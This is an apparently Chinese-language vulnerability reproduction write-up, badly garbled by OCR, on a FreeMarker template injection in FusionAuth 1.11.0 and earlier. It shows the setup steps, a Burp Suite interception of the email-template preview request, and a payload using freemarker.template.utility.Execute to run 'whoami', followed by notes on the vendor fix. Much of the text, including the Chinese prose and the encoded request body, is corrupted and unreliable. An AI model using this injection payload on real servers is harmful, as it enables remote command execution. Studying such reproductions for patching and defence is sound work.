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79 fF B T Apache FreeMarker engine(freemarker-2.3.28 jar),
FRLART LAfEFE freemarker B9IEZE, £ s (XxX? Built-ins} [ new
XA Built-ins & RIE—MFE TemplateModel g9 £,
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freemarker.template.utility.Execute, ™ A & Bt & initialize X 1
object RIS L.
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FusionAuth <= 1.11.0
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T# FusionAuth 1.10.0 (F&x{EF FusionAuth 1.10.0 #17i)

https://storage.googleapis.com/inversoft_products_j098230498/p
roducts/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

1. BXHREZEEER—MIE
2. ]380 MySQL /etc/init.d/mysgl start
3.3 ] ElasticSearch systemctl start

elasticsearch.service

4. B8] FusionAuth bin/startup.sh

Downleoading Java
A R R R R R R A R R AR R RN R AN RN RAR R AR RN AR ERAR R AR RRERAARR AL RRURRERAARRRERRARRRRRS 100, 0%

Starting fusionauth-search ... skipped, not installed
Starting fusionauth-app ... done.

5. ¥TFFMithttp: //127.0.0.1:9011/EE FusionAuth
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Maintenance Mode

Database type

FusionAuth is in maintenance mode because your database is not ready, it is either |
tables,

Database type O mysq

() postgresq|

Host* localhost
Port* © 3306

Database* fusionauth

TLS enabled

Superuser credentials

Provide your existing database superuser username and password. This information
create the FusionAuth database. If you do not know the database superuser credent

This username and password will only be used during this database configuration st

Username* kali

Password kali

FusionAuth credentials
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b. ic& Elastic Search

Maintenance Mode

Elasticsearch
FusionAuth is in maintenance mode because your search engine is not ready, it is either not running or your
configuration is not complete. Ensure Elasticsearch is running and verify the connection information below.

Servers* € http://localhost:9021
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Login
& kali@kali.com

- Forgot your password?

English v

Dashboard +iome

Complete setup
#1  Missing Application #2  Missing APl Key

To begin your integration, you To begin your integration, you
must setup an Application. must add an AP Key.
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System

Tenants

Groups
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Lambdas

Identity Providers

Email Templates




2. fEEA— template BY edit

Email Templates rome /

Settings Email Templates

Name

COPPA Notice

COPPA Notice Reminder

Email Verification

Forgot Password

Passwordless Login

Registration Verification

Setup Password

672dcBd0-8643-450b-9¢fc-2b873c143d47

©25bf29¢-8d14-47c3-af01-ca8b0idd918d

5473419d-6241-4741-8bcd-914898aBafed

ad3abdb8-8/59-40ba-8357-5a5b918e351c

e12737b6-1922-4120-9540-838ca4203d6c

25e6c64e-ad4a-4181-b719-8e08cb3bif42

9beb2f16-5ede-43e3-8931-bB7676fid65¢c
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3. FF/3 Burp Suit M8, BLE4F proxy

Burp Project Intruder Repeater Window Help

[ Dashboard ]Turget Lm_] Intruder I Repeater T Sequencer I Decoder ] Comparer IExtender I Project options TUser options ]

[ intercept | HTTP history | WebSockets history | Options |

Forward Drop

. Raw Headers Hex

Intercept is on Action
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Edit Email Template rome 1 setings 1 ema Tempises 1 e . -

HTML Template Text Template Localization

Default HTML « You recently granted your child consent in our system. This email is to notify you of this
consent. If you did not grant this consent or wish to revoke this consent, click the link
below:

2 <p>
<a href="http://example.com/consent/manage">http://example.com/consent/manage</a>
</p>

- FusionAuth Admir|

y Request to http://127.0.0.1:9011

| Forward || Drop | | Interceptis on | Action W
Ilnl Params | Headers | Hex

POST /a)ax/emall /template/preview HTTP/1.1

Host: 127.0.0.1:5011

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */+

Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:9011/adnin/enail stenplatesedit/ [
Content-Type: application/x-www-form-urlencoded

Content-Length: 1136

Connection: close

Cookie: fusionauth.localesen_Us; JsEssTonro- (G
prinecserToken- (R <15 1 = S < 11112 . nanes COFPA\201ct e fenai | Templat e default Subj ctatio
tice%200f%20yours20consentwemalllemplate . T romEmall=no-reply%d0fusionauth.iokenall Tenplate detaultFromName=rusionduthbenail Tenplate  defaultText Template=Youk20recently%20grant eds2

Oyour%20chil d%20consent201in%200ur%20system . %20Thi s% 20enai 1% 20 5% 20t 0% 20n0t 1 fy% 20y 0u% 200 1% 20t hi % 20consent . %201 £ 20y ou% 20d1d% 20not % 20g rant %20t his% 20consent S 200r% 20wi sh% 20t 0% 20re
woke% 20t his%20consent%20%20c1 1ck% 20t het 201 ink% 20bel owt 3A% 0A% 0ANt t p% 34% 2F% 2Fexanpl e . con 2Fconsent s 2Fmanages DA% DA- % 20Fus1onAut hs 20Adningenail Template  defaul tHtml Tenpl ate=Youtk20rec
ently%20grant ed%20your%20chil d%20consent% 20in% 200ur 205y sten % 20Th1 5% 20ena11% 201 5% 20t 0% 20not i fy% 20y ou% 2004 20t hist 20consent . %201 % 20you’ 20d1d% 20not 5 20grant s 20t his% 20consent % 200r
%20w15h% 20t 0% 20revoke% 20t his% 20consents 2% 20c1 1ck% 20t he% 201 nk*% 20be | 0w 3A% DA% 3Cp% IE% OA% 20% 20% 3Ca% 20hr e F4 30 22ht £ pY 3A% 2L 2Fexanpl e . cont2Fconsent s 2Fmanage’ 22% 3Eht t py 3A% 2P 2Fexanpl
. com’ 2Fconsent% ZFnanaget 3C: 2Fa% 3E% 0A% 3C% 2Fp% 3B 0A-% 20Fus1on Auth% 20Adm1né=

5. 18
emailTemplate.defaultHtmlTemplate
A
S{"freemarker.template.utility.Execute"?new () ("whoam

i")}
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Details

Subject
Nofice of your consent

From name
FusionAuth <no-reply@fusionauth.io>

HTML template Text template
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BEE—EME freemarker 2.3.19 fY changelog BEE/RMRAFRFET
TemplateClassResolver.SAFER RESOLVER #9 iF , & LA B Lk €l &
freemarker.template.utility.Execute. AT HRIXHAERRIAEE.

FusionAuth Version 1.11.0 B release Note EH E B8 K 7T
freemarker template engine, ff E R g8 1 17 T A K 18 .
FrLUEERXMEFARE.11.0 RLAFBIMRA.
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